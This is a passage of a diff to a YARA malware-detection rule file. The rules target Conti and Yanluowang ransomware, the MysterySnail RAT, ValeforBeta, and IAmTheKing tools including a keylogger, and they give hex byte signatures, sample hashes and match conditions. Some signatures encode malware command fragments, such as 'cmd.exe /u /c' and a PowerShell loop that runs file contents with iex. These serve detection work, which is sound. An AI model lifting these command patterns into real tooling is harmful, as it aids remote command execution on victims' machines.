2f 25 73 25 73 } - $dbg2 = { 43 72 65 61 74 65 4e 61 6d 65 64 50 69 70 65 41 20 66 69 6e 69 73 68 65 64 20 77 69 74 68 20 45 72 72 6f 72 2d 25 64 } - $dbg3 = { 4f 53 3a 20 25 73 25 73 20 53 50 20 25 64 20 25 73 20 28 25 64 2e 25 64 2e 25 64 29 0d 0a } - $dbg4 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 75 00 20 00 2f 00 63 00 20 00 25 00 73 } - $dbg5 = { 0d 0a 43 6f 6f 6b 69 65 3a 20 25 73 } - $dbg6 = { 25 73 5f 6d 61 69 6e } - $dbg7 = { 25 73 5f 66 69 6e } - $dbg8 = "3%3*373<3I3N3[3`3m3r3" fullword ascii - $s1 = { 8b 8d 80 f8 ff ff c7 41 04 01 00 00 00 83 e8 01 0f 84 aa 12 00 00 83 e8 01 0f 84 9a 12 00 00 83 e8 01 0f 84 8a 12 00 00 83 e8 01 0f 84 7a 12 00 } - $s2 = { 51 83 7d 08 00 75 07 b8 5b ab 66 00 eb 35 8b 45 08 89 45 fc 8b 4d fc } + $seq1 = { 83 ec 1c 68 80 00 00 00 68 54 21 40 00 ff 15 30 20 40 00 85 c0 0f 85 e9 00 00 00 56 57 68 48 21 40 00 89 44 24 14 89 44 24 10 c7 44 24 1c 17 00 00 00 c7 44 24 20 55 1e 00 00 c7 44 24 24 09 04 00 00 ff 15 34 20 40 00 8b 3d 3c 20 40 00 8b f0 68 34 21 40 00 56 ff d7 68 20 21 40 00 56 a3 e4 33 40 00 ff d7 a3 0c 36 40 00 8d 44 24 14 50 6a 03 8d 4c 24 20 51 68 00 00 40 00 ff 15 e4 33 40 00 85 c0 7c 1a 8b 4c 24 14 8d 54 24 0c 52 8d 44 24 14 50 51 68 00 00 40 00 ff 15 0c 36 40 00 68 18 21 40 00 ff 15 70 20 40 00 8b 54 24 10 83 c4 04 50 68 00 10 00 00 52 6a 00 ff 15 38 20 40 00 8b 4c 24 10 8b f0 8b 44 24 0c 50 51 56 e8 4a 00 00 00 8d 54 24 14 52 } + $seq2 = { 8b 4c 24 24 8d 44 24 20 50 51 56 e8 1d fe ff ff 83 c4 24 ff d6 8b 54 24 28 5f 89 15 08 36 40 00 5e 33 c0 83 c4 } + $s1 = { 3e 35 44 35 4c 35 53 35 58 35 5e 35 64 35 6c 35 72 35 79 35 } + $s2 = { 31 07 32 0d 32 25 32 2b 32 30 32 36 32 4c 32 6a 32 } + $s3 = "_invoke_watson" fullword ascii + $s4 = { 8b 2d bc 36 40 00 0f b6 04 2f 0f b6 da 8b 54 24 14 0f b6 14 13 8d 0c 2f 03 d6 03 c2 99 be 40 03 00 00 f7 fe 0f b6 f2 8d 04 2e e8 7f ff ff ff 8d 43 01 99 f7 7c 24 18 47 81 ff 40 } condition: - uint16( 0 ) == 0x5a4d and filesize > 30KB and 6 of ( $dbg* ) and all of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 100KB and all of ( $seq* ) and 2 of ( $s* ) } -rule ARKBIRD_SOLG_APT_APT38_Valeforbeta_Mar_2021_1 : FILE +rule ARKBIRD_SOLG_Ran_Conti_V3_Nov_2020_1 : FILE { meta: - description = "Detect ValeforBeta used in attacks against Japanese organisations by APT38" + description = "Detect Conti V3 ransomware" author = "Arkbird_SOLG" - id = "74a20725-3e52-5fef-9934-c812137dc989" - date = "2021-03-23" - modified = "2021-03-24" + id = "89702af3-664a-5c4a-8d2b-f195f5dddb6f" + date = "2020-12-15" + modified = "2020-12-15" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-23/APT38/APT_APT38_ValeforBeta_Mar_2021_1.yar#L1-L22" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-15/Conti/Ran_Conti_V3_Nov_2020_1.yar#L24-L43" license_url = "N/A" - logic_hash = "0ee8202b8978bf487df2a63c17d139076f2e9f68f1827a17929522060a72937a" + logic_hash = "2c8f2fd9b155bb4fdb1304b4d7f683bc679780d079d8bbe4fb308f94769f1392" score = 50 - quality = 67 + quality = 75 tags = "FILE" - hash1 = "eb846bb491bea698b99eab80d58fd1f2530b0c1ee5588f7ea02ce0ce209ddb60" level = "experimental" + hash1 = "f092b985b75a702c784f0936ce892595b91d025b26f3387a712b76dcc3a4bc81" + hash2 = "35ccc2b71567570bcac62e2f268faca50fa95fad6ac69e74f40856eb8f9ab03d" strings: - $dbg1 = { 2f 64 64 65 00 00 00 64 64 65 65 78 65 63 } - $dbg2 = { 25 73 5c 53 68 65 6c 6c 4e 65 77 } - $dbg3 = { 25 73 20 28 25 73 3a 25 64 29 0a 25 73 } - $dbg4 = { 7b 25 30 38 58 2d 25 30 34 58 2d 25 30 34 58 2d 25 30 32 58 25 30 32 58 2d 25 30 32 58 25 30 32 58 25 30 32 58 25 30 32 58 25 30 32 58 25 30 32 58 7d } - $dbg5 = { 25 73 25 73 2e 64 6c 6c } - $dbg6 = { 25 73 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 25 73 00 00 00 00 25 73 5c 73 68 65 6c 6c 5c 70 72 69 6e 74 5c 25 73 00 00 00 25 73 5c 73 68 65 6c 6c 5c 70 72 69 6e 74 74 6f 5c 25 73 00 25 73 5c 44 65 66 61 75 6c 74 49 63 6f 6e 00 00 25 73 5c 53 68 65 6c 6c 4e 65 77 00 2c 25 64 00 63 6f 6d 6d 61 6e 64 00 20 22 25 31 22 00 00 00 20 2f 70 20 22 25 31 22 00 00 00 00 20 2f 70 74 20 22 25 31 22 20 22 25 32 22 20 22 25 33 22 20 22 25 34 22 } - $dbg7 = { 43 4c 53 49 44 5c 25 31 5c 49 6e 50 72 6f 63 53 65 72 76 65 72 33 32 } - $s1 = { 74 f1 ff b5 a8 fe ff ff 8d 4b 10 c7 43 08 03 00 00 00 e8 3c cf fd ff eb da 8d 8d ac fe ff ff e8 3f 1a fc ff 83 65 fc 00 8d 85 ac fe ff ff 50 57 e8 bd fd ff ff ff b5 ac fe ff ff ff 15 24 44 47 00 85 c0 0f 85 be 00 00 00 50 50 8d 8d a0 fe ff ff 51 8d 8d 9c fe ff ff 51 50 50 50 ff b5 ac fe ff ff ff 15 70 42 47 00 85 c0 75 1f ff b5 a8 fe ff ff 53 e8 dc fe ff ff 8b 8d ac fe ff ff } - $s2 = { 45 fc 8b 45 0c 0f b6 48 0f 56 51 0f b6 48 0e 51 0f b6 48 0d 51 0f b6 48 0c 51 0f b6 48 0b 51 0f b6 48 0a 51 0f b6 48 09 51 0f b6 48 08 8b 75 08 83 a5 f8 fe ff ff 00 51 0f b7 48 06 51 0f b7 48 04 51 ff 30 8d 85 fc fe ff ff 68 48 aa 47 00 68 00 01 00 00 } + $seq1 = { 45 8c 00 8d 4d 8c c6 45 8d 7e c6 45 8e 4c c6 45 8f 0e c6 45 90 2c c6 45 91 4d c6 45 92 57 c6 45 93 13 c6 45 94 5d c6 45 95 08 c6 45 96 4c c6 45 97 77 c6 45 98 77 89 85 54 ff ff ff c6 45 99 6e 8a 45 8d e8 9f 0b 00 00 6a 6b 68 a8 21 3d be ba 0f 00 00 00 8b f0 e8 3c 3e 00 00 83 c4 08 56 ff d0 c6 45 f4 00 c6 45 f5 5a c6 45 f6 49 c6 45 f7 4c c6 45 f8 0b c6 45 f9 0b c6 45 fa 66 c6 45 fb 4c c6 45 fc 0b c6 45 fd 0b c6 45 fe 3f 89 85 50 ff ff ff 8a 45 f5 80 7d f4 00 75 2b 33 c9 66 0f 1f 84 00 00 00 00 00 8a 44 0d f5 0f b6 c0 83 e8 3f 6b c0 25 99 f7 fb 8d 42 7f 99 f7 fb 88 54 0d f5 41 83 f9 0a 72 e0 6a 6b 68 a8 21 3d be ba 0f 00 00 00 e8 bf 3d 00 00 83 c4 08 8d 4d f5 51 ff d0 c6 85 7c ff ff ff 00 8d 8d 7c ff ff ff c6 85 7d ff ff ff 48 c6 85 7e ff ff ff 17 c6 85 7f ff ff ff 3c c6 45 80 71 c6 45 81 3c c6 45 82 37 c6 45 83 57 c6 45 84 71 c6 45 85 0a c6 45 86 67 c6 45 87 12 c6 45 88 12 89 85 3c } + $seq2 = { 6c ff ff ff 00 8d 8d 6c ff ff ff c6 85 6d ff ff ff 02 c6 85 6e ff ff ff 17 c6 85 6f ff ff ff 72 c6 85 70 ff ff ff 3a c6 85 71 ff ff ff 16 c6 85 72 ff ff ff 73 c6 85 73 ff ff ff 10 c6 85 74 ff ff ff 78 c6 85 75 ff ff ff 1c c6 85 76 ff ff ff 00 c6 85 77 ff ff ff 39 c6 85 78 ff ff ff 39 89 85 48 ff ff ff c6 85 79 ff ff ff 71 8a 85 6d ff ff ff e8 1d 08 00 00 6a 6b 68 a8 21 3d } + $seq3 = { 8b d9 89 9d b8 fd ff ff c7 85 d4 fd ff ff 0b 01 00 00 c7 85 d8 fd ff ff 0b 02 00 00 c6 85 c4 fd ff ff 00 c6 85 c5 fd ff ff 19 c6 85 c6 fd ff ff 0d c6 85 c7 fd ff ff 27 c6 85 c8 fd ff ff 1f c6 85 c9 fd ff ff 0d c6 85 ca fd ff ff 1b c6 85 cb fd ff ff 28 c6 85 cc fd ff ff 26 c6 85 cd fd ff ff 1e c6 85 ce fd ff ff 0b c6 85 cf fd ff ff 1b c6 85 d0 fd ff ff 1b 8d 8d c4 fd ff ff c6 85 d1 fd } + $seq4 = { c6 85 00 ff ff ff 00 c6 85 01 ff ff ff 4b c6 85 02 ff ff ff 1f c6 85 03 ff ff ff 35 c6 85 04 ff ff ff 1f c6 85 05 ff ff ff 23 c6 85 06 ff ff ff 1f c6 85 07 ff ff ff 68 c6 85 08 ff ff ff 1f c6 85 09 ff ff ff 38 c6 85 0a ff ff ff 1f c6 85 0b ff ff ff 10 c6 85 0c ff ff ff 1f c6 85 0d ff ff ff 66 c6 85 0e ff ff ff 1f c6 85 0f ff ff ff 2a c6 85 10 ff ff ff 1f c6 85 11 ff ff ff 43 c6 85 12 ff ff ff 1f c6 85 13 ff ff ff 23 c6 85 14 ff ff ff 1f c6 85 15 ff ff ff 10 c6 85 16 ff ff ff 1f c6 85 17 ff ff ff 07 c6 85 18 ff ff ff 1f c6 85 19 ff ff ff 51 c6 85 1a ff ff ff 1f c6 85 1b ff ff ff 1c c6 85 1c ff ff ff 1f c6 85 1d ff ff ff 43 c6 85 1e ff ff ff 1f c6 85 1f ff ff ff 10 c6 85 20 ff ff ff 1f c6 85 21 ff ff ff 61 c6 85 22 ff ff ff 1f c6 85 23 ff ff ff 74 c6 85 24 ff ff ff 1f c6 85 25 ff ff ff 41 c6 85 26 ff ff ff 1f c6 85 27 ff ff ff 10 c6 85 28 ff ff ff 1f c6 85 29 ff ff ff 59 c6 85 2a ff ff ff 1f c6 85 2b ff ff ff 43 c6 85 2c ff ff ff 1f c6 85 2d ff ff ff 38 c6 85 2e ff ff ff 1f c6 85 2f ff ff ff 2b c6 85 30 } condition: - uint16( 0 ) == 0x5a4d and filesize > 30KB and 5 of ( $dbg* ) and 1 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 80KB and all of ( $seq* ) } -rule ARKBIRD_SOLG_MAL_Mysterysnail_RAT_Oct_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Queenofclubs_Jul_2021_1 : FILE { meta: - description = "Detect MysterySnaial RAT implant" + description = "Detect QueenOfClubs malware" author = "Arkbird_SOLG" - id = "2fa5015a-144f-52f6-8a5f-28fce10861e3" - date = "2021-10-13" - modified = "2021-10-14" - reference = "https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-14/MAL_MysterySnail_RAT_Oct_2021_1.yara#L1-L25" + id = "d78df760-5753-528c-b03d-7bb91ec658c0" + date = "2021-07-09" + modified = "2021-07-12" + reference = "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_QueenOfClubs_Jul_2021_1.yara#L1-L21" license_url = "N/A" - logic_hash = "bcf072fae02b479084b8d47b4cd676216f72aecfa4ebcf8226b6997839929b57" - score = 50 + logic_hash = "c6fe9dd24098ef3c281d9e6727613499988c88b9d2011af77390e0ce358bebf4" + score = 75 quality = 75 tags = "FILE" - hash1 = "e84be291efadd53a8bb965bfb589590ffe870da9187e6752cc7a9f028053ff5d" - hash2 = "b7fb3623e31fb36fc3d3a4d99829e42910cad4da4fa7429a2d99a838e004366e" - hash3 = "73f520223a2e01c036a4b620c7188e733c113a429e25c5c3de7fbbc1c3d16ccc" - level = "experimental" + hash1 = "b0a1da4fc5526365df495094f65660d88487ce5e60192e5fb4075e815f9481d3" tlp = "White" - adversary = "MysterySnail" + adversary = "IAmTheKing" strings: - $s1 = { 57 48 83 ec 20 4c 8b c2 33 f6 0f b6 d1 41 b1 01 8b c2 c1 e8 04 41 84 c1 75 53 4d 85 c0 74 47 41 0f b7 08 8d 41 bf 66 83 f8 19 76 0a 66 83 e9 61 66 83 f9 19 77 08 66 41 83 78 02 3a 74 03 44 8a ce 45 84 c9 49 8d 40 04 49 8b c8 48 0f 45 c8 66 39 31 74 19 66 83 39 5c 74 06 66 83 39 2f 75 06 66 39 71 02 74 07 bb 00 80 00 00 eb 05 bb 40 40 00 00 66 c1 e2 07 b8 80 00 00 00 66 f7 d2 66 23 d0 b8 00 01 00 00 66 0b d0 66 0b da 4d 85 c0 74 65 ba 2e 00 00 00 49 8b c8 e8 64 4b 01 00 48 8b f8 48 85 c0 74 50 48 8d 15 a9 0d 09 00 48 8b c8 e8 5d dd 00 00 85 c0 74 39 48 8d 15 a6 0d 09 00 48 8b cf e8 4a dd 00 00 85 c0 74 26 48 8d 15 a3 0d 09 00 48 8b cf e8 37 dd 00 00 85 c0 74 13 48 8d 15 a0 0d 09 00 48 8b cf e8 24 dd 00 00 85 c0 75 04 66 83 cb 40 48 8b 74 24 38 0f b7 c3 66 c1 e8 03 66 83 e0 38 66 0b d8 0f b7 c3 66 c1 e8 06 66 83 e0 07 66 0b c3 48 8b 5c 24 30 } - $s2 = { 4c 8d 0d 6e 96 09 00 48 89 44 24 20 44 8b c7 48 8d 15 a7 62 0d 00 48 8b ce e8 47 17 fb ff 85 c0 0f 8e 83 00 00 00 4c 8d 0d 48 96 09 00 44 8b c7 48 8d 15 36 59 0d 00 48 8b ce e8 26 17 fb ff 85 c0 7e 66 49 8b 46 10 8b 08 81 f9 0a 04 00 00 74 1b 81 f9 3f 04 00 00 74 13 81 f9 0b 04 00 00 44 8b c3 41 0f } - $s3 = { 25 2a 73 70 75 62 3a 0a } - $s4 = { 48 81 ec b0 02 00 00 48 8b 05 7a e9 7b 00 48 33 c4 48 89 84 24 a0 02 00 00 48 8b ea 48 8d 44 24 38 48 8d 15 c0 a1 79 00 48 89 44 24 20 41 b9 01 00 00 00 45 33 c0 48 c7 c1 01 00 00 80 ff 15 3d 94 71 00 85 c0 75 53 48 8b 4c 24 38 48 8d 44 24 30 48 89 44 24 28 4c 8d 4c 24 34 48 8d 84 24 d0 01 00 00 c7 44 24 34 01 00 00 00 45 33 c0 48 89 44 24 20 48 8d 15 e6 a1 79 00 c7 44 24 30 c7 00 00 00 ff 15 00 94 71 00 85 c0 75 0e 8b 84 24 d0 01 00 00 89 45 68 85 c0 75 07 33 c0 e9 eb 00 00 00 83 f8 01 75 f4 33 d2 48 8d 4c 24 40 41 b8 90 01 00 00 e8 f0 82 6f 00 48 8b 4c 24 38 48 8d 44 24 30 48 89 44 24 28 4c 8d 4c 24 34 48 8d 44 24 40 c7 44 24 30 c8 00 00 00 45 33 c0 48 89 44 24 20 48 8d 15 90 a1 79 00 ff 15 9a 93 71 00 85 c0 75 a8 33 f6 8b fe 8b de 66 83 7c 5c 40 3a 74 15 48 83 fb 64 74 94 ff c7 48 ff c3 48 83 fb 64 7c e7 33 c0 eb 77 48 63 c7 48 8d 4c 24 42 4c 89 b4 24 d0 02 00 00 4c 8d 34 00 49 03 ce e8 2f ad 6f 00 89 45 64 49 81 } - $s5 = { 48 8d 4c 24 60 ff 97 18 04 00 00 33 f6 c7 45 90 01 00 00 00 0f 57 c0 48 89 74 24 68 33 c9 66 0f 7f 44 24 70 48 89 75 80 48 89 75 88 c7 45 94 01 00 00 00 48 c7 45 9c 01 00 00 00 48 89 75 a8 e8 32 97 6f 00 8d 4e 01 48 89 45 b0 e8 26 97 6f 00 8d 4e 02 48 89 45 b8 e8 1a 97 6f 00 48 89 45 c0 45 33 c9 48 8d 45 d0 45 33 c0 48 89 44 24 48 48 8b d3 48 8d 44 24 60 33 c9 48 89 44 24 40 48 89 74 24 38 48 89 74 24 30 89 74 24 28 c7 44 24 20 01 00 00 00 ff 97 90 03 00 00 85 c0 74 0a 48 8b 4d d8 ff 15 da 8f 71 00 48 8b 4d d0 ff 15 d0 8f 71 00 b9 10 27 00 00 ff 15 b5 8f 71 00 0f 10 05 96 9c 79 00 48 8d 4d 08 33 d2 f2 0f 10 0d 98 9c 79 00 41 b8 b8 07 00 00 0f 29 45 f0 f2 0f 11 4d 00 e8 84 7d 6f 00 4c 8d 05 65 9c 79 00 48 8d 55 f0 48 8d 4c 24 58 e8 c3 98 6f 00 85 c0 0f 85 af 00 00 00 48 8b 4c 24 58 44 8d 40 02 33 d2 e8 db aa 6f 00 48 8b 4c 24 58 e8 71 94 6f 00 48 8b 4c 24 58 45 33 c0 33 d2 48 63 d8 e8 bf aa 6f 00 8d 4b 01 48 63 c9 e8 d4 67 6f 00 4c 8b 4c 24 58 4c 8b c3 ba 01 00 00 00 48 8b c8 48 8b f0 e8 58 f5 6f 00 48 8b 4c 24 58 48 8b d8 e8 47 99 6f 00 b9 64 00 00 00 ff 15 08 8f 71 00 48 83 bf f0 03 00 00 00 75 11 b9 42 6e aa cf e8 8c e7 ff ff 48 89 87 f0 03 00 00 48 8d 4d f0 ff 97 f0 03 00 00 44 8b cb 89 5c 24 50 4c 8b c6 48 8d 54 24 50 49 8b ce e8 44 d7 5c 00 48 8b ce 85 } + $s1 = { 66 00 6f 00 72 00 28 00 3b 00 3b 00 29 00 7b 00 24 00 53 00 3d 00 47 00 65 00 74 00 2d 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 20 00 22 00 25 00 73 00 22 00 3b 00 49 00 46 00 28 00 24 00 53 00 29 00 7b 00 22 00 22 00 20 00 3e 00 20 00 22 00 25 00 73 00 22 00 3b 00 24 00 74 00 3d 00 69 00 65 00 78 00 20 00 24 00 53 00 20 00 32 00 3e 00 22 00 25 00 73 00 22 00 3b 00 24 00 74 00 3d 00 24 00 74 00 2b 00 27 00 20 00 27 00 3b 00 65 00 63 00 68 00 6f 00 20 00 24 00 74 00 20 00 3e 00 3e 00 22 00 25 00 73 00 22 00 3b 00 7d 00 73 00 6c 00 65 00 65 00 70 00 20 00 2d 00 6d 00 20 00 36 00 30 00 30 00 3b 00 7d } + $s2 = { 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 6e 00 6f 00 70 00 20 00 2d 00 63 00 20 00 25 00 73 } + $s3 = { 5c 00 53 00 74 00 72 00 69 00 6e 00 67 00 46 00 69 00 6c 00 65 00 49 00 6e 00 66 00 6f 00 5c 00 25 00 30 00 34 00 78 00 25 00 30 00 34 00 78 00 5c 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e } + $s4 = { 5c 00 7e 00 74 00 6d 00 70 00 5f 00 [6-20] ( 00 2e 00 6a 00 70 00 67 | 00 2e 00 70 00 73 00 31) } + $s5 = { c7 45 d8 ac 89 41 00 c7 45 dc 00 00 00 00 6a 01 68 00 00 40 04 8d 55 d8 52 68 c8 89 41 00 68 e0 89 41 00 8b 45 c0 83 c0 08 50 68 ec 89 41 00 8b 4d f4 51 ff 15 78 62 41 00 8b 55 c0 89 42 04 8b 45 c0 83 78 04 00 75 19 8b 4d f0 51 ff 15 74 62 41 00 8b 55 f4 52 ff 15 74 62 41 00 e9 14 ff ff ff 68 3c 04 00 00 e8 b7 70 00 00 83 c4 04 89 45 d0 8b 45 d0 89 45 e0 68 ec 01 00 00 e8 a1 70 00 00 83 c4 04 89 45 cc 8b 4d cc 89 4d d4 8b 55 c0 8b 32 b9 7b 00 00 00 8b 7d d4 f3 a5 6a 01 8b 45 c0 83 c0 1c 50 68 ec 01 00 00 8b 4d d4 51 68 c1 f5 09 00 8b 55 c0 83 c2 20 52 e8 04 ef ff ff } + $s6 = "http://bot.google.com" fullword ascii + $s7 = { 25 00 73 00 7c 00 25 00 73 00 7c 00 25 00 73 00 7c 00 25 00 73 00 00 00 25 00 73 00 00 00 00 00 25 00 73 } condition: - uint16( 0 ) == 0x5A4D and filesize > 500KB and all of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 35KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_RAN_Yanluowang_Dec_2021_1 : FILE +rule ARKBIRD_SOLG_Tool_Screencapture_Jul_2021_1 : FILE { meta: - description = "Detect Yanluowang ransomware" + description = "Detect Screen Capture utility" author = "Arkbird_SOLG" - id = "339d3dab-9bdd-5a46-8261-c32862ccc3bf" - date = "2021-12-17" - modified = "2021-12-18" - reference = "https://samples.vx-underground.org/samples/Families/YanluowangRansomware/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-18/RAN_Yanluowang_Dec_2021_1.yara#L1-L20" + id = "09e4295e-454a-519a-964e-c5295e603aef" + date = "2021-07-09" + modified = "2021-07-12" + reference = "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/Tool_ScreenCapture_Jul_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "0144874fb24411b4378a2e2992934e674808f01ecc38f23d0d9d37e1d45621e4" + logic_hash = "dff6c722ec001f5e3b5c53b41f8d457ab69ae46316f5dc7bbf1d00eb3d1ed3c8" score = 75 - quality = 75 + quality = 73 tags = "FILE" - hash1 = "49d828087ca77abc8d3ac2e4719719ca48578b265bbb632a1a7a36560ec47f2d" - hash2 = "d11793433065633b84567de403c1989640a07c9a399dd2753aaf118891ce791c" - tlp = "white" - adversary = "-" + hash1 = "f441e6239b592ac15538a8ba8903e5874283b066050a5a7e514ce33e84237f4e" + tlp = "White" + adversary = "IAmTheKing" strings: - $s1 = { 6a 00 68 7b 4d 45 00 e8 52 2a 00 00 6a 00 6a 00 68 44 58 45 00 68 78 58 45 00 68 d8 56 45 00 c6 45 fc 15 8b 3d d8 71 44 00 6a 00 ff d7 6a 00 6a 00 68 80 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 a0 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 b8 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 cc 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 e4 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 fc 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 10 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 2c 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 40 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 54 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 68 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 88 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 a0 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 b8 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 d0 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 ec 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 00 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 14 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 28 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 40 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 54 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 80 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 68 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 7c 5a 45 00 68 78 58 45 00 } - $s2 = { 83 bd d4 ee ff ff 10 8d 85 c0 ee ff ff 51 0f 43 85 c0 ee ff ff 8d 8d 90 ee ff ff 50 6a 30 68 a0 56 45 00 8d 85 c0 ee ff ff 50 ff b5 e8 ee ff ff e8 83 45 00 00 83 bd a4 ee ff ff 10 8d 85 90 ee ff ff 6a 00 0f 43 85 90 ee ff ff 6a 00 50 68 d4 56 45 00 68 d8 56 45 00 6a 00 ff d7 8b 95 a4 ee ff ff 83 fa 10 72 2f 8b 8d 90 ee ff ff 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc } - $s3 = { 68 00 00 00 f0 6a 01 6a 00 6a 00 8d 85 5c ee ff ff 50 ff 15 14 70 44 00 8d 85 40 ee ff ff 50 57 6a 01 ff b5 5c ee ff ff ff 15 40 70 44 00 8b 35 1c 70 44 00 8d 85 60 ec ff ff 6a 20 50 6a 00 6a 00 6a 01 6a 00 ff b5 40 ee ff ff c7 85 e8 ee ff ff 20 00 00 00 c7 85 60 ec ff ff 20 00 00 00 ff d6 ff b5 60 ec ff ff e8 1f cc 01 00 8b 8d 50 ec ff ff 83 c4 04 89 85 4c ec ff ff 0f 10 01 0f 11 00 0f 10 41 10 8d 8d e8 ee ff ff 0f 11 40 10 ff b5 60 ec ff ff 51 50 6a 00 6a 01 6a 00 ff b5 40 ee ff ff ff d6 8d 85 6c ec ff ff 33 ff 50 57 6a 01 68 80 00 00 00 ff b5 4c ec ff ff 89 bd 40 ec ff ff 89 bd bc ee ff ff ff 15 3c 70 44 00 85 c0 74 47 ff b5 6c ec ff ff e8 ae cb 01 00 83 c4 04 8b f0 8d 85 6c ec ff ff 89 b5 bc ee ff ff 50 56 6a 01 68 80 00 00 00 ff b5 4c ec ff ff ff 15 3c 70 44 00 85 } - $s4 = { 8b ec 6a ff 68 2b 52 44 00 64 a1 00 00 00 00 50 81 ec 8c 02 00 00 a1 c0 c8 45 00 33 c5 89 45 f0 56 57 50 8d 45 f4 64 a3 00 00 00 00 6a 05 33 c0 c7 45 c0 00 00 00 00 68 84 57 45 00 8d 4d c0 c7 45 d0 00 00 00 00 c7 45 d4 07 00 00 00 66 89 45 c0 e8 59 3f 00 00 c7 45 fc 00 00 00 00 8d 4d d8 6a 03 33 c0 c7 45 d8 00 00 00 00 68 90 57 45 00 c7 45 e8 00 00 00 00 c7 45 ec 07 00 00 00 66 89 45 d8 e8 28 3f 00 00 6a 00 6a 0f c7 45 fc 01 00 00 00 ff 15 98 70 44 00 8b f0 89 b5 74 fd ff ff 83 fe ff 0f 84 2c 02 00 00 a1 9c 70 44 00 8d 7d c0 8b 0d 48 70 44 00 89 85 7c fd ff ff a1 80 70 44 00 89 85 78 fd ff ff a1 4c 70 44 00 89 85 80 fd ff ff a1 90 70 44 00 c7 85 88 fd ff ff 00 00 00 00 89 bd 84 fd ff ff 89 8d 6c fd ff ff 89 85 70 fd ff ff 66 66 66 } + $s1 = "@MyScreen.jpg" fullword wide + $s2 = "DISPLAY" fullword wide + $s3 = "_invoke_watson" fullword ascii + $s4 = "GdipSaveImageToStream" fullword ascii + $s5 = { 8b 57 04 89 4d e8 8d 4d e8 51 52 e8 16 0c 00 00 85 c0 74 03 89 47 08 8b 75 e8 81 fe 00 04 00 00 77 18 56 e8 ac f9 ff ff 83 c4 04 84 c0 74 0b 8b c6 e8 9e 15 00 00 8b f4 eb 35 83 c8 ff 2b c6 83 f8 08 72 15 8d 46 08 50 ff 15 f4 30 40 00 83 c4 04 85 } condition: - uint16( 0 ) == 0x5A4D and filesize > 100KB and all of ( $s* ) + uint16( 0 ) == 0x5a4d and ( filesize > 8KB and filesize < 60KB ) and 4 of ( $s* ) } -rule ARKBIRD_SOLG_APT_APT_C_23_Micropsia_Mar_2021_2 : FILE +rule ARKBIRD_SOLG_MAL_Keylogger_Jul_2021_1 : FILE { meta: - description = "Detect Micropsia used by APT-C-23 (Build 2020)" + description = "Detect a keylogger used by IAmTheKing group" author = "Arkbird_SOLG" - id = "cdd95b35-09b4-5412-bd86-55c2e7523d3e" - date = "2021-03-31" - modified = "2021-03-31" - reference = "Internal Research" - source_url = 